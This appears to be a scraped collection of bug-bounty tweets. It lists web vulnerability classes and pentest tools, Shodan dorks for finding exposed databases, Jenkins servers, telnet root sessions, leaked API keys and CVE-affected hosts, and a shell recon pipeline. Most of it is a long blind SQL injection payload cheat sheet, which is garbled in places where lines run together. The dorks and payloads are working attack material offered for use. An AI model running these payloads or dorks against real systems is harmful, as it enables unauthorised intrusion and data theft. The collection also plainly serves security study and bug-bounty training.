Cyber Shakthi

Cyber

[The XSS Rat - Proud XSS N00b :-) @theXSSrat]

100 Exploits every bounty hunter should know!

https://t.co/8Z4BmrE69p

BAC: Function-Level Authorization Bypass

BAC: Object-Level Authorization (IDOR)

BAC: Horizontal Privilege Escalation

BAC: Vertical Privilege Escalation

BAC: Missing Authorization on API Endpoint

BAC: Forced Browsing to Restricted Pages

BAC: Multi-Tenant Data Isolation Failure

BAC: Role Manipulation via Parameter Tampering

BAC: Authorization Based on Client-Side Logic

BAC: Insecure Direct Object Reference via UUID Guessing

AUTH: Account Enumeration via Error Messages

AUTH: Brute-Force Login Attack

AUTH: Credential Stuffing

AUTH: Weak Password Policy

AUTH: Missing Rate Limiting on Login

AUTH: Password Reset Token Leakage

AUTH: Password Reset Token Reuse

AUTH: Authentication Bypass via Logic Flaw

AUTH: Missing Multi-Factor Authentication

AUTH: OAuth Login Misbinding

SESSION: Session Fixation

SESSION: Session Hijacking

SESSION: Missing Session Expiration

SESSION: Predictable Session IDs

SESSION: Concurrent Session Abuse

SESSION: Logout Function Not Invalidating Session

SESSION: Session Token in URL

SESSION: Cross-Device Session Reuse

SESSION: Missing Session Rotation After Login

SESSION: Privilege Change Without Session Refresh

COOKIE: Missing HttpOnly Flag

COOKIE: Missing Secure Flag

COOKIE: Missing SameSite Attribute

COOKIE: Client-Side Cookie Trust

COOKIE: Cookie Scope Too Broad

INJECTION: SQL Injection

INJECTION: Blind SQL Injection

INJECTION: NoSQL Injection

INJECTION: Command Injection

INJECTION: OS Command Injection via File Upload

INJECTION: LDAP Injection

INJECTION: XPath Injection

INJECTION: Expression Language Injection

INJECTION: Server-Side Template Injection (SSTI)

INJECTION: CRLF Injection

XSS: Reflected Cross-Site Scripting

XSS: Stored Cross-Site Scripting

XSS: DOM-Based Cross-Site Scripting

XSS: Blind Cross-Site Scripting

XSS: HTML Injection Leading to XSS

CSRF: Missing CSRF Protection

CSRF: CSRF Token Reuse

CSRF: CSRF Token Not Bound to Session

CSRF: GET Request Performing State Change

CSRF: JSON CSRF via CORS Misconfig

CORS: Wildcard Origin with Credentials

CORS: Reflected Origin Trust

CORS: Null Origin Allowed

CORS: Overly Permissive Methods

CORS: Sensitive Headers Exposed

FILE: Unrestricted File Upload

FILE: MIME Type Validation Bypass

FILE: Path Traversal in File Upload

FILE: File Overwrite via Upload

FILE: Stored XSS via File Upload

PATH: Directory Traversal

PATH: Arbitrary File Read

PATH: Arbitrary File Write

PATH: Local File Inclusion (LFI)

PATH: Remote File Inclusion (RFI)

DESERIALIZATION: Insecure Deserialization

DESERIALIZATION: PHP Object Injection

DESERIALIZATION: Java Deserialization RCE

DESERIALIZATION: YAML Deserialization Abuse

DESERIALIZATION: JSON Deserialization Logic Flaw

LOGIC: Business Logic Abuse

LOGIC: Price Manipulation

LOGIC: Coupon Reuse Abuse

LOGIC: Race Condition (TOCTOU)

LOGIC: Negative Value Injection

INFO: Sensitive Data Exposure in API Response

INFO: Stack Trace Disclosure

INFO: Debug Mode Enabled in Production

INFO: Source Code Disclosure

INFO: .git Directory Exposure

SSRF: Server-Side Request Forgery

SSRF: Blind SSRF via PDF/Image Fetch

SSRF: Cloud Metadata Access

SSRF: Internal Port Scanning

SSRF: Protocol Smuggling (gopher/file)

RCE: Remote Code Execution via Injection Chain

RCE: Template Injection to Code Execution

RCE: Unsafe Eval Usage

RCE: Command Injection via Environment Variables

RCE: Dependency Confusion Attack

CONFIG: Default Credentials

CONFIG: Hardcoded Secrets in Frontend

CONFIG: Exposed Admin Panel

CONFIG: Insecure Feature Flags

CONFIG: Insecure API Versioning

#BugBounty #WebSecurity #AppSec #ApplicationSecurity #InfoSec #CyberSecurity
#EthicalHacking #Hacking #Pentesting #Pentest #RedTeam #BlueTeam
#BrokenAccessControl #BAC #IDOR #AuthBypass #PrivilegeEscalation
#API #APISecurity #OWASP #OWASPTop10 #OWASPAPI
#XSS #CSRF #SQLi #NoSQLi #SSTI #RCE #SSRF #LFI #RFI #PathTraversal

[Brut 🇮🇳 @wtf_yodhha]

⚡Find Hidden Endpoint with JS Bookmark
👉https://t.co/K8LQbSyrsw

✅Credit - @Sin4Yeganeh

#bugbounty #bugbountytips

[Cyber Shakthi @SoloShakthi]

Stay Hungary
https://t.co/K47jqHKDTk
@shodanhq
@github
@CyberPatronMC
#HackTheBox
#hackerone
#BOUNTY
#bugbountytips
#finstein

[ProjectDiscovery @pdiscoveryio]

Now quickly fetch endpoints of your target passively using latest release of katana v1.10

Checkout GitHub release for more details - https://t.co/gxT8MDyaUk

#hackwithautomation #crawling #passive #osint #discovery

[Security Trybe @SecurityTrybe]

Cybersecurity Tools By Category

Information Gathering:
>Nmap
>Shodan
>Maltego
>TheHavester
>Recon-NG
>Amass
>Censys
>OSINT Framework
>Gobuster

Exploitation:
>Burp Suite
>Metasploit Framework
>SQL Map
>ZAP
>ExploitDB
>Core Impact
>Cobalt Strike

Password Cracking:
>John The Ripper
>Hydra
>Hashcat
>OPHCrack
>Medusa
>THC-Hydra
>Cain & Abel

Vulnerability Scanning:
>OpenVAS
>Nessus
>AppScan
>LYNIS
>Retina
>Nexpose

Software Engineering:
>GoPhish
>HiddenEye
>SocialFish
>EvilURL
>Evilginx

Forensics:
>SluethKit
>Autopsy
>Volatility
>Guymager
>Foremost
>Binwalk
>Wireshark

Wireless Hacking:
>Aircrack-NG
>Wifite
>Kismet
>TCPDump
>Airsnort
>Netstumbler
>Reaver

Web Application Assessment:
>OWASP ZAP
>Burp Suite
>Nikto
>ZAP
>WPScan
>Gobuster
>App Spider

[X @TheMsterDoctor1]

🚀🚀Shodan-Dork🚀🚀

🔍 Prodect mysql found
👉product:MySQL

🔍 MongoDB
👉"MongoDB Server Information" -authentication

🔍 defult password
👉"default password"

🔍 guest login
👉 guest login ok

🔍 Jenkins Unrestricted Dashboard
👉x-jenkins 200

🔍 wp config
👉http.html:"* The wp-config.php creation script uses this file"

🔍 root session
👉"root@" port:23 -login -password -name -Session

🔍 defult wireless password
👉html:"def_wirelesspassword"

🔍 Auth desabled
👉"authentication disabled"

🔍 dashboard
👉http.title:"dashboard"

🔍 control panel
👉http.title:"control panel"

🔍 phpmyadmin
👉http.title:"phpmyadmin"

🔍 CouchDB
👉product:"CouchDB"

🔍 kibana
👉kibana content-length:217

🔍 CVE-2021-26855-CVE-2021-31206 Microsoft RCE
👉http.title:outlook exchange

🔍 CVE-2022-29464 WSO2 RCE
👉http.favicon.hash:1398055326

🔍 CVE-2022-29464.WSO2 RCE
👉http.html:WSO2

🔍 Cisco ASA CVE-2020-3452
👉"webvpn="

🔍 Windows SMB exposures
👉port:"445" os:"Windows"

🔍 CVE-2022-22954 in VMWare Workspace ONE
👉http.favicon.hash:-1250474341

🔍 Find secret API keys publicly exposed #2
👉http.html:"xoxb-"

🔍 Find all jenkins server
👉http.favicon.hash:81586312

🔍 Find all grafana dashboards
👉http.title:"Grafana"

🔍 CVE-2022-24255 Main & Admin Portals: Authentication Bypass
👉http.html:zabbix

🔍 Horde webmail A takeover
👉http.html:Horde:

🔍 CVE-2022-24348:path traversal
👉http.title:"Argo CD"

🔍 tomcat may log4j
👉product:tomcat

🔍 NO password required for telnet
👉port:23 console gateway

🔍 Windows RDP Password:
👉"��Ð��4�"proftpd port:21

🔍 proftpd port:21
👉proftpd port:21

🔍 "authentication disabled" "RFB 003.008"
👉"authentication disabled" "RFB 003.008"

🔍 CVE CVE-2019-11510
👉http.html:/dana-na/

🔍 F5 BIG-IP using CVE-2020-5902
👉http.title:"BIG-IP

🔍 unauthorized
👉"unauthorized"

🔍 Mongo Express Web GUI
👉"Set-Cookie: mongo-express=" "200 OK"

🔍 Jenkins CI
👉"X-Jenkins" "Set-Cookie: JSESSIONID" http.title:"Dashboard"

🔍 Intel Active Management CVE-2017-5689
👉"Intel(R) Active Management Technology" port:623,664,16992,16993,16994,16995

🔍 Apache Directory Listings
👉http.title:"Index of /" http.html:".pem"

#shodan #BugBounty #bugbountytip

[Vidoc Security Lab @vidocsecurity]

How can you find this in the wild?

Google dork 🔍
1. Go to https: //google.com
2. Search for - intitle:"Dashboard [Jenkins]"

Shodan dork 🔎
1. Go to https: //shodan.io
2. Search for - html:"Dashboard [Jenkins]"

3/5

[Cyber Shakthi @SoloShakthi]

Bug Bounty Tips Don't Miss
https://t.co/gk3LSvwNFS

[Cyber Shakthi @SoloShakthi]

Bug Bounty Tips
https://t.co/SC9sMEGVq0
#bugbountytips
#BugBounty
#subdomain

[Cyber Detective💙💛 @cyb_detective]

https://t.co/zLaTbRbzDv

Leaked databases search tool.

14 billion accounts + (emails and passwords)

Check yourself

Tip by @ManuelBot59 #ff

#osint #leaks

[Cyber Shakthi @SoloShakthi]

Pentesting Tools Databases https://t.co/tCuJzvTBzo
@TheMsterDoctor1
@7h3h4ckv157
@Bug_X_hunter
@cyb_detective @CyberShakthi

[Cyber Shakthi @SoloShakthi]

Awesome Pentester Tool list
https://t.co/lhesEF5qDH

@TheMsterDoctor1
@CyberShakthi
@cyb_detective
@androidmalware2
@TomNomNom
@Bug_X_hunter
@pentest_swissky

[X @TheMsterDoctor1]

Recon Tool: go-dork🔥🔥☄️☄️

#Day5

Go-dork by dwisiswant0 is a powerful and efficient command-line tool written in the Go programming language.

It is designed to be the fastest dork scanner available, streamlining the process of conducting advanced Google dork queries.

The tool supports various search engines, including Google, Shodan, Bing, DuckDuckGo, and Yahoo. It also provides an array of flags and options for customization, allowing users to tailor their searches based on specific criteria. This makes it an indispensable asset for security researchers, bug bounty hunters, and penetration testers.

Read the post: https://t.co/QMiVm8HSyh

#dorking #reconnaissance #pentesting #bugbounty #infosec #informationsecurity #cybersecurity

[X @TheMsterDoctor1]

# Webs recon

#DAY8

## Resolution

```bash
# https://t.co/xNBFyT150X
cat subdomains/subdomains.txt | httpx -follow-redirects -random-agent -status-code -silent -retries 2 -title -web-server -tech-detect -location -no-color -o websites.txt
```

## WAF Checks

```bash
# https://t.co/AOEtF3tOJc
wafw00f -i websites.txt

# IP Wafs/CDN lists
https://t.co/yQdOAqyXyc
```

## CMS

```bash
# https://t.co/mYE34bI7ou
tr '\n' ',' < websites.txt > cms_test.txt
python3 https://t.co/qFvSCf0gpf -l cms_test.txt --batch -r
```

## Web screenshot

```bash
# https://t.co/1i6Pv00NSi
gowitness file -f websites.txt
gowitness report serve -D gowitness.sqlite3
```

## Fuzzing

```bash
# https://t.co/hvBlge3UXw
ffuf -mc all -fc 404 -ac -sf -s -w wordlist.txt -u https://t.co/YWizZdRqMz
```

## &#x20;URLs

### URL extraction

```bash
# https://t.co/AexahVKowY
gospider -S websites.txt --js -t 20 -d 2 --sitemap --robots -w -r > urls.txt

# https://t.co/Luugqv73Gc
cat websites.txt | gau -subs

# https://t.co/AtqR0RC9iL
cat websites.txt | waybackurls

# https://t.co/OAIxSXK0St
github-endpoints -q -k -d https://t.co/MElsV6AUDY -t tokens_github.txt

# https://t.co/7p1cxvxAXN
cat webs.txt | roboxtractor -m 1 -wb
```

### Filtering

```bash
# https://t.co/UYMsDFilwd
cat urls.txt | qsreplace -a

# https://t.co/xGnta4Ghs0
cat urls.txt | uro
```

&#x20; Patterns

```bash
# https://t.co/WlQ77FWaPn
# https://t.co/9KIXweIxMt
gf sqli urls.txt
```

### JS

```bash
# https://t.co/doXAQ7QGFV
cat urls.txt | python3 https://t.co/xOt1yuUDTA

# https://t.co/EzvK3ORl5n
cat js.txt | subjs | httpx

# https://t.co/1uDwM2NzMe
python3 https://t.co/cuT1Ssfiho -d -i https://t.co/HIEfqRIFmq -o cli
```

### Wordlists generation

```bash
# https://t.co/8CtfUGF9y5
cat urls.txt | unfurl -u keys
cat urls.txt | unfurl -u values
```
#pentesting #tools #security #redteam #infosec #cybersecurity #30daysofcybersecurity

[X @TheMsterDoctor1]

🧑‍🏫𝘼𝙇𝙇-𝙄𝙉-𝙊𝙉𝙀 𝘼𝙒𝙀𝙎𝙊𝙈𝙀 𝘾𝙔𝘽𝙀𝙍𝙎𝙀𝘾 𝙍𝙀𝙎𝙊𝙐𝙍𝘾𝙀𝙎

#Day9

📌All open source resources

•Awesome Red Team Ops :-
https://t.co/jHkkZNZIcW

•Awesome Red Teaming :-
https://t.co/Fv7T1WaPK4

•Awesome Red Team ToolKit :-
https://t.co/u3ix6Nxf2f

•Awesome Blue Team Ops :-
https://t.co/zeaYGZPKgM

•Awesome OSINT :-
https://t.co/ajktNGB0lf

•Awesome DevSecOps :-
https://t.co/y4oTNifMZd

•Awesome Pentest :-
https://t.co/JngZTzNlor

•Awesome Cloud Pentest :-
https://t.co/pRSlglxN4K

•Awesome Shodan :-
https://t.co/4FeNtS8Q3I

•Awesome AWS Security :-
https://t.co/6vpd4295SN

•Awesome Malware Analysis & Reverse Engineering :-
https://t.co/JZMBKQoFSM

•Awesome Malware Analysis:-
https://t.co/ewJO3H2WwU

•Awesome Computer Forensic :-
https://t.co/xEwtS07QZM

•Awesome Cloud Security :-
https://t.co/ljcivEpNFx

•Awesome Reverse Engineering :-
https://t.co/bBoM8QashS

•Awesome Threat Intelligence :-
https://t.co/oAPwu3HQdi

•Awesome SOC :-
https://t.co/pFG8AN66rx

•Awesome Social Engineering :-
https://t.co/4DLYlz4aEg

•Awesome Web Security :-
https://t.co/qMdzlpD6yX

•Awesome Forensics :-
https://t.co/xEwtS07QZM

•Awesome API Security :-
https://t.co/YwRVKhRjhc

•Awesome WEB3 :-
https://t.co/rIh7UyCDw4

•Awesome Incident Response :-
https://t.co/hkpSQcQCFg

👍 #Infosec #Cybersecurity #EthicalHacking #FollowMe #Cybersecurity #Infosec
#infosec #Hacking #infosecurity #Malware #bugbountytips #CTF #BugBounty #vulnerability #pwn #CyberSecurityAwareness #CyberSecurity #cybersecuritytips @SaveToNotion @threadreaderapp #oscp #osed #oswe #osep #osce³ #pentest #hacking #infosecnotes #cybersecurity

[X @TheMsterDoctor1]

Blind SQL Injection Detection and Exploitation (Cheat Sheet)

Payload list:
MySQL Blind (Time Based):

0'XOR(if(now()=sysdate(),sleep(5),0))XOR'Z
0'XOR(if(now()=sysdate(),sleep(5*1),0))XOR'Z
if(now()=sysdate(),sleep(5),0)
'XOR(if(now()=sysdate(),sleep(5),0))XOR'
'XOR(if(now()=sysdate(),sleep(5*1),0))OR'
0'|(IF((now())LIKE(sysdate()),SLEEP(1),0))|'Z
0'or(now()=sysdate()&&SLEEP(1))or'Zif(now()=sysdate(),sleep(5),0)/"XOR(if(now()=sysdate(),sleep(5),0))OR"/if(now()=sysdate(),sleep(5),0)/*'XOR(if(now()=sysdate(),sleep(5),0))OR'"XOR(if(now()=sysdate(),sleep(5),0))OR"*/if(now()=sysdate(),sleep(5),0)/'XOR(if(now()=sysdate(),sleep(5),0))OR'"XOR(if(now()=sysdate(),sleep(5),0) and 5=5)"/if(1=1,sleep(5),0)/*'XOR(if(1=1,sleep(5),0))OR'"XOR(if(1=1,sleep(5),0))OR"*/if(1337=1337,exp(~(1)),0)/*'XOR(if(1337=1337,exp(~(1)),0))OR'"XOR(if(1337=1337,sleep(5),0))OR"*/SLEEP(5)/*' or SLEEP(5) or '" or SLEEP(5) or "*/%2c(select%5*%5from%5(select(sleep(5)))a)
(select(0)from(select(sleep(5)))v)
(SELECT SLEEP(5))
'%2b(select*from(select(sleep(5)))a)%2b'
(select*from(select(sleep(5)))a)
1'%2b(select*from(select(sleep(5)))a)%2b'
,(select * from (select(sleep(5)))a)
desc%2c(select*from(select(sleep(5)))a)
-1+or+1%3d((SELECT+1+FROM+(SELECT+SLEEP(5))A))
-1+or+1=((SELECT+1+FROM+(SELECT+SLEEP(5))A))(SELECT * FROM (SELECT(SLEEP(5)))YYYY)(SELECT * FROM (SELECT(SLEEP(5)))YYYY)#(SELECT * FROM (SELECT(SLEEP(5)))YYYY)--'+(select*from(select(sleep(5)))a)+'(select(0)from(select(sleep(5)))v)%2f'+(select(0)from(select(sleep(5)))v)+'"(select(0)from(select(sleep(5)))v)%2f*'+(select(0)from(select(sleep(5)))v)+'"+(select(0)from(select(sleep(5)))v)+"*%2f(select(0)from(select(sleep(5)))v)/*'+(select(0)from(select(sleep(5)))v)+'"+(select(0)from(select(sleep(5)))v)+"*/(select(0)from(select(sleep(5)))v)/*'+(select(0)from(select(sleep(5)))v)+'\"+(select(0)from(select(sleep(5)))v)+\"*/',''),/*test*/%26%26%09sLeEp(5)%09--+AND BLIND:1 and sleep 5--
1 and sleep 5
1 and sleep(5)--
1 and sleep(5)
' and sleep 5--
' and sleep 5
' and sleep 5 and '1'='1
' and sleep(5) and '1'='1
' and sleep(5)--
' and sleep(5)
' AnD SLEEP(5) ANd '1
and sleep 5--
and sleep 5
and sleep(5)--
and sleep(5)
and SELECT SLEEP(5); #
AnD SLEEP(5)
AnD SLEEP(5)--
AnD SLEEP(5)#
' AND SLEEP(5)#
" AND SLEEP(5)#
') AND SLEEP(5)#OR BLIND:or sleep 5--
or sleep 5
or sleep(5)--
or sleep(5)
or SELECT SLEEP(5); #
or SLEEP(5)
or SLEEP(5)#
or SLEEP(5)--
or SLEEP(5)="
or SLEEP(5)='
' OR SLEEP(5)#
" OR SLEEP(5)#
') OR SLEEP(5)#
')) or sleep(5)='
" or sleep(5)#
1) or sleep(5)#
)) or sleep(5)='
1)) or sleep(5)#
or sleep(5)#
%20'sleep%2050'
%20$(sleep%2050)
")) or sleep(5)="
or sleep(5)='
") or sleep(5)="
) or sleep(5)='
1 or sleep(5)#
You can replace AND / OR1 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)
1 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND (1337=1337
1 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND '1337'='1337
') AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND ('PBiy'='PBiy
) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND (1337=1337
)) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND ((1337=1337
))) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND (((1337=1337
1 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)# 1337
) WHERE 1337=1337 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
1 WHERE 1337=1337 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
+(SELECT 1337 WHERE 1337=1337 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY))+
)) AS 1337 WHERE 1337=1337 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
) AS 1337 WHERE 1337=1337 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
` WHERE 1337=1337 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
`) WHERE 1337=1337 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
`=`1` AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND `1`=`1
]-(SELECT 0 WHERE 1337=1337 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY))|[1
') AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
" AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
') AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND ('1337'='1337
')) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND (('1337'='1337
'))) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND ((('1337'='1337
' AND (SELECT 3122 FROM (SELECT(SLEEP(5)))YYYY) AND '1337'='1337
') AND (SELECT 4796 FROM (SELECT(SLEEP(5)))YYYY) AND ('1337'='1337
')) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND (('1337' LIKE '1337
'))) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND ((('1337' LIKE '1337
%' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND '1337%'='1337
' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND '1337' LIKE '1337
") AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND ("1337"="1337
")) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND (("1337"="1337
"))) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND ((("1337"="1337
" AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND "1337"="1337
") AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND ("1337" LIKE "1337
")) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND (("1337" LIKE "1337
"))) AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND ((("1337" LIKE "1337
" AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) AND "1337" LIKE "1337
' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY) OR '1337'='1337
') WHERE 1337=1337 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337
") WHERE 1337=1337 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)-- 1337RLIKE BLIND:You can replace AND / ORRLIKE SLEEP(5)--
' RLIKE SLEEP(5)--
' RLIKE SLEEP(5)-- 1337
" RLIKE SLEEP(5)-- 1337
') RLIKE SLEEP(5)-- 1337
') RLIKE SLEEP(5) AND ('1337'='1337
')) RLIKE SLEEP(5) AND (('1337'='1337
'))) RLIKE SLEEP(5) AND ((('1337'='1337
) RLIKE SLEEP(5)-- 1337
) RLIKE SLEEP(5) AND (1337=1337
)) RLIKE SLEEP(5) AND ((1337=1337
))) RLIKE SLEEP(5) AND (((1337=1337
1 RLIKE SLEEP(5)
1 RLIKE SLEEP(5)-- 1337
1 RLIKE SLEEP(5)# 1337
) WHERE 1337=1337 RLIKE SLEEP(5)-- 1337
1 WHERE 1337=1337 RLIKE SLEEP(5)-- 1337
+(SELECT 1337 WHERE 1337=1337 RLIKE SLEEP(5))+
)) AS 1337 WHERE 1337=1337 RLIKE SLEEP(5)-- 1337
) AS 1337 WHERE 1337=1337 RLIKE SLEEP(5)-- 1337
` WHERE 1337=1337 RLIKE SLEEP(5)-- 1337
`) WHERE 1337=1337 RLIKE SLEEP(5)-- 1337
' RLIKE SLEEP(5) AND '1337'='1337
') RLIKE SLEEP(5) AND ('1337' LIKE '1337
')) RLIKE SLEEP(5) AND (('1337' LIKE '1337
'))) RLIKE SLEEP(5) AND ((('1337' LIKE '1337
%' RLIKE SLEEP(5) AND '1337%'='1337
' RLIKE SLEEP(5) AND '1337' LIKE '1337
") RLIKE SLEEP(5) AND ("1337"="1337
")) RLIKE SLEEP(5) AND (("1337"="1337
"))) RLIKE SLEEP(5) AND ((("1337"="1337
" RLIKE SLEEP(5) AND "1337"="1337
") RLIKE SLEEP(5) AND ("1337" LIKE "1337
")) RLIKE SLEEP(5) AND (("1337" LIKE "1337
"))) RLIKE SLEEP(5) AND ((("1337" LIKE "1337
" RLIKE SLEEP(5) AND "1337" LIKE "1337
' RLIKE SLEEP(5) OR '1337'='1337
') WHERE 1337=1337 RLIKE SLEEP(5)-- 1337
") WHERE 1337=1337 RLIKE SLEEP(5)-- 1337
' WHERE 1337=1337 RLIKE SLEEP(5)-- 1337
" WHERE 1337=1337 RLIKE SLEEP(5)-- 1337
ELT Blind:You can replace AND / OR' AND ELT(1337=1337,SLEEP(5))--
' AND ELT(1337=1337,SLEEP(5))-- 1337
" AND ELT(1337=1337,SLEEP(5))-- 1337
') AND ELT(1337=1337,SLEEP(5))-- 1337
') AND ELT(1337=1337,SLEEP(5)) AND ('1337'='1337
')) AND ELT(1337=1337,SLEEP(5)) AND (('1337'='1337
'))) AND ELT(1337=1337,SLEEP(5)) AND ((('1337'='1337
' AND ELT(1337=1337,SLEEP(5)) AND '1337'='1337
') AND ELT(1337=1337,SLEEP(5)) AND ('1337' LIKE '1337
')) AND ELT(1337=1337,SLEEP(5)) AND (('1337' LIKE '1337
'))) AND ELT(1337=1337,SLEEP(5)) AND ((('1337' LIKE '1337
) AND ELT(1337=1337,SLEEP(5))-- 1337
) AND ELT(1337=1337,SLEEP(5)) AND (1337=1337
)) AND ELT(1337=1337,SLEEP(5)) AND ((1337=1337
))) AND ELT(1337=1337,SLEEP(5)) AND (((1337=1337
1 AND ELT(1337=1337,SLEEP(5))
1 AND ELT(1337=1337,SLEEP(5))-- 1337
1 AND ELT(1337=1337,SLEEP(5))# 1337
) WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
1 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
+(SELECT 1337 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5)))+
)) AS 1337 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
) AS 1337 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
` WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
`) WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
1`=`1` AND ELT(1337=1337,SLEEP(5)) AND `1`=`1
]-(SELECT 0 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5)))|[1
%' AND ELT(1337=1337,SLEEP(5)) AND '1337%'='1337
' AND ELT(1337=1337,SLEEP(5)) AND '1337' LIKE '1337
") AND ELT(1337=1337,SLEEP(5)) AND ("1337"="1337
")) AND ELT(1337=1337,SLEEP(5)) AND (("1337"="1337
"))) AND ELT(1337=1337,SLEEP(5)) AND ((("1337"="1337
" AND ELT(1337=1337,SLEEP(5)) AND "1337"="1337
") AND ELT(1337=1337,SLEEP(5)) AND ("1337" LIKE "1337
")) AND ELT(1337=1337,SLEEP(5)) AND (("1337" LIKE "1337
"))) AND ELT(1337=1337,SLEEP(5)) AND ((("1337" LIKE "1337
" AND ELT(1337=1337,SLEEP(5)) AND "1337" LIKE "1337
' AND ELT(1337=1337,SLEEP(5)) OR '1337'='FMTE
') WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
") WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
' WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
" WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
'||(SELECT 0x4c454f67 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5)))||'
'||(SELECT 0x727a5277 FROM DUAL WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5)))||'
'+(SELECT 0x4b6b486c WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5)))+'
||(SELECT 0x57556971 FROM DUAL WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5)))||
||(SELECT 0x67664847 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5)))||
+(SELECT 0x74764164 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5)))+
')) AS 1337 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
")) AS 1337 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
') AS 1337 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
") AS 1337 WHERE 1337=1337 AND ELT(1337=1337,SLEEP(5))-- 1337
BENCHMARK:You can replace AND / OR' AND 1337=BENCHMARK(5000000,MD5(0x774c5341))--
' AND 1337=BENCHMARK(5000000,MD5(0x774c5341))-- 1337
" AND 1337=BENCHMARK(5000000,MD5(0x774c5341))-- 1337
') AND =BENCHMARK(5000000,MD5(0x774c5341))--
') AND 1337=BENCHMARK(5000000,MD5(0x774c5341))-- 1337
') AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND ('1337'='1337
')) AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND (('1337'='1337
'))) AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND ((('1337'='1337
' AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND '1337'='1337
') AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND ('1337' LIKE '1337
')) AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND (('1337' LIKE '1337
'))) AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND ((('1337' LIKE '1337
%' AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND '1337%'='1337
' AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND '1337' LIKE '1337
") AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND ("1337"="1337
")) AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND (("1337"="1337
"))) AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND ((("1337"="1337
" AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND "1337"="1337
") AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND ("1337" LIKE "1337
")) AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND (("1337" LIKE "1337
"))) AND 1337=BENCHMARK(5000000,MD5(0x774c5341)) AND ((("1337" LIKE "1337
" AND 1337=BENCHMARK(5000000,MD5(0x576e7a57)) AND "1337" LIKE "1337
' AND 1337=BENCHMARK(5000000,MD5(0x576e7a57)) AND '1337'='1337

Repo: https://t.co/SmgtZ8pIy6

[Cyber Detective💙💛 @cyb_detective]

Dorks Collections List

Today I've updated list of tools for work with dorks with a link to AI Search Whisper from @henkvaness.

